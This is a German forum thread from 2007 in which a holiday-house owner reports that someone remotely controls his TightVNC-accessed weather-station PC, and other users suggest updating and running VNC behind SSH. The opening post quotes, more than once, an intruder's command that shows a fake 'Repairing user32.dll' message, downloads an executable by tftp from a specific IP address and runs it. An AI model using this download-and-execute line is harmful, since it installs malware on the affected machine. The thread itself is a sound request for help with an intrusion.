[HaBo]

GeorgB · 24.03.07, 17:19

ich betreibe eine Wetterstation in unserem Ferienhäuschen mit Fernwartung TightVNC.
seit neuesten werden selbstständig diverse Programme aktiv, als ob ein dritter am Rechner was machen würde. Die Programme werden geöffnet (zb 10x Libertybasic) und bleiben offen stehen.
Dabei wurde auch der Editor benutzt mit dem Versuch etwas abzuspeichern:
r%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 64.79.213.12 GET cuijvhg.exe & start cuijvhg&

Etwas rätselhaft ?! sagt das jemanden etwas? Scheinbar sollte dieses (mir unbekannte) Programm geladen und ausgeführt werden ....

b4ck · 24.03.07, 18:10

vieleicht ein VNC exploit? alles upgedatet?

Anzeige

- Anzeige -

2Bios · 25.03.07, 00:47

vnc ist imho eine heikle sache. du könntest einen ssh-server aufsetzen und über diesen den vnc-server starten und wieder beenden wenn du es brauchst. das wäre afaik die sicherste methode, da - wie b4ck schon sagte - warscheinlich ein exploit oder ähnliches im spiel ist

GeorgB · 25.03.07, 11:14

hmm es gibt eine neues Update, das werde ich mal draufspielen, vielleicht hilft das.
Mit dem SSH server, da bin ich zuwenig bewandert - um das hinzukriegen. Oder ist das auch für einen Laien easy??? gibt es da eine Anleitung?

Imrahil · 25.03.07, 12:15

Ein SSH Server ist relativ einfach zu bedienen/installieren.
http://sshwindows.sourceforge.net/ <- hab ich mir mal aus Google gesucht.
Ist mit tutorials versehen, also sollte es kein Problem sein (vorrausgesetzt du kannst englisch).
Damit startest du eine Shell (quasi die Windows-Konsole -> also CMD) darüber kannst du Programme starten wie du willst.
Für das abschalten wüsste ich aber imo keine möglichkeit, da muss wohl ein anderer aushelfen!
Imrahil

2Bios · 25.03.07, 13:54

wenn du den vnc-server dann als dienst eingerichtet hast, kannst du diesen mit net start dienstname starten und mit net stop ... wieder stoppen

GeorgB · 25.03.07, 14:45

Hallo Imrahil,
danke für deinen Tip.
nach etwas rumsuchen bin ich auf: www.openssh.com gekommen.
(ist sogar deutsch...) finde aber nur ein download bei sourceforge.
Also das probiere ich mal, wenn ich das nächste Mal ins Ferienhaus komme !!
Die Tutorials habe ich nicht gefunden ...
Mir fehlt so etwas eine Anleitung für dumme .... gibt es da noch etwas?

2Bios · 31.03.07, 12:36

Guckstu: http://www.informatikboard.ch/window...r-windows.html
Als Klienten empfehle ich PuTTY: http://kurl.de/putty (kleinen Tip an den Rest der Welt: dieser Link zeigt atm immer auf die aktuellste Version von PuTTY)

Anzeige

- Anzeige -

24.03.07, 17:19	#1 (permalink)
GeorgB Registriert seit: 24.03.07 Likes: 0	64.79.213.12 GET cuijvhg.exe & start cuijvhg Anzeige ich betreibe eine Wetterstation in unserem Ferienhäuschen mit Fernwartung TightVNC. seit neuesten werden selbstständig diverse Programme aktiv, als ob ein dritter am Rechner was machen würde. Die Programme werden geöffnet (zb 10x Libertybasic) und bleiben offen stehen. Dabei wurde auch der Editor benutzt mit dem Versuch etwas abzuspeichern: r%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 64.79.213.12 GET cuijvhg.exe & start cuijvhg& Etwas rätselhaft ?! sagt das jemanden etwas? Scheinbar sollte dieses (mir unbekannte) Programm geladen und ausgeführt werden ....

Themen-Optionen
Druckbare Version zeigen Jemanden per E-Mail auf dieses Thema hinweisen
Ansicht
Linear-Darstellung Zur Hybrid-Darstellung wechseln Zur Baum-Darstellung wechseln

Ähnliche Themen
Thema	Autor	Forum	Antworten	Letzter Beitrag
DVB-T Start	nutsn	Umfragen	3	18.12.06 14:29
IP Adresse bei Start	SuXXeS	Network · LAN, WAN, Firewalls	5	06.11.05 06:39
"Wienux" vor dem Start	non	News & Ankündigungen	3	27.06.05 23:33
pc start	blub	Die Problemzone	3	16.06.04 09:43
Start von XP	mhmedia	Windows	4	06.09.03 16:02

24.03.07, 18:10	#2 (permalink)
b4ck Registriert seit: 13.02.06 Likes: 1	vieleicht ein VNC exploit? alles upgedatet?

25.03.07, 00:47	#3 (permalink)
2Bios Senior Member Registriert seit: 28.08.05 Likes: 0	vnc ist imho eine heikle sache. du könntest einen ssh-server aufsetzen und über diesen den vnc-server starten und wieder beenden wenn du es brauchst. das wäre afaik die sicherste methode, da - wie b4ck schon sagte - warscheinlich ein exploit oder ähnliches im spiel ist

25.03.07, 11:14	#4 (permalink)
GeorgB Themenstarter Registriert seit: 24.03.07 Likes: 0	hmm es gibt eine neues Update, das werde ich mal draufspielen, vielleicht hilft das. Mit dem SSH server, da bin ich zuwenig bewandert - um das hinzukriegen. Oder ist das auch für einen Laien easy??? gibt es da eine Anleitung?

25.03.07, 12:15	#5 (permalink)
Imrahil Registriert seit: 09.01.05 Likes: 0	Ein SSH Server ist relativ einfach zu bedienen/installieren. http://sshwindows.sourceforge.net/ <- hab ich mir mal aus Google gesucht. Ist mit tutorials versehen, also sollte es kein Problem sein (vorrausgesetzt du kannst englisch). Damit startest du eine Shell (quasi die Windows-Konsole -> also CMD) darüber kannst du Programme starten wie du willst. Für das abschalten wüsste ich aber imo keine möglichkeit, da muss wohl ein anderer aushelfen! Imrahil

25.03.07, 13:54	#6 (permalink)
2Bios Senior Member Registriert seit: 28.08.05 Likes: 0	wenn du den vnc-server dann als dienst eingerichtet hast, kannst du diesen mit net start dienstname starten und mit net stop ... wieder stoppen

25.03.07, 14:45	#7 (permalink)
GeorgB Themenstarter Registriert seit: 24.03.07 Likes: 0	Hallo Imrahil, danke für deinen Tip. nach etwas rumsuchen bin ich auf: www.openssh.com gekommen. (ist sogar deutsch...) finde aber nur ein download bei sourceforge. Also das probiere ich mal, wenn ich das nächste Mal ins Ferienhaus komme !! Die Tutorials habe ich nicht gefunden ... Mir fehlt so etwas eine Anleitung für dumme .... gibt es da noch etwas?

31.03.07, 12:36	#8 (permalink)
2Bios Senior Member Registriert seit: 28.08.05 Likes: 0	Guckstu: http://www.informatikboard.ch/window...r-windows.html Als Klienten empfehle ich PuTTY: http://kurl.de/putty (kleinen Tip an den Rest der Welt: dieser Link zeigt atm immer auf die aktuellste Version von PuTTY)

[HaBo]

64.79.213.12 GET cuijvhg.exe & start cuijvhg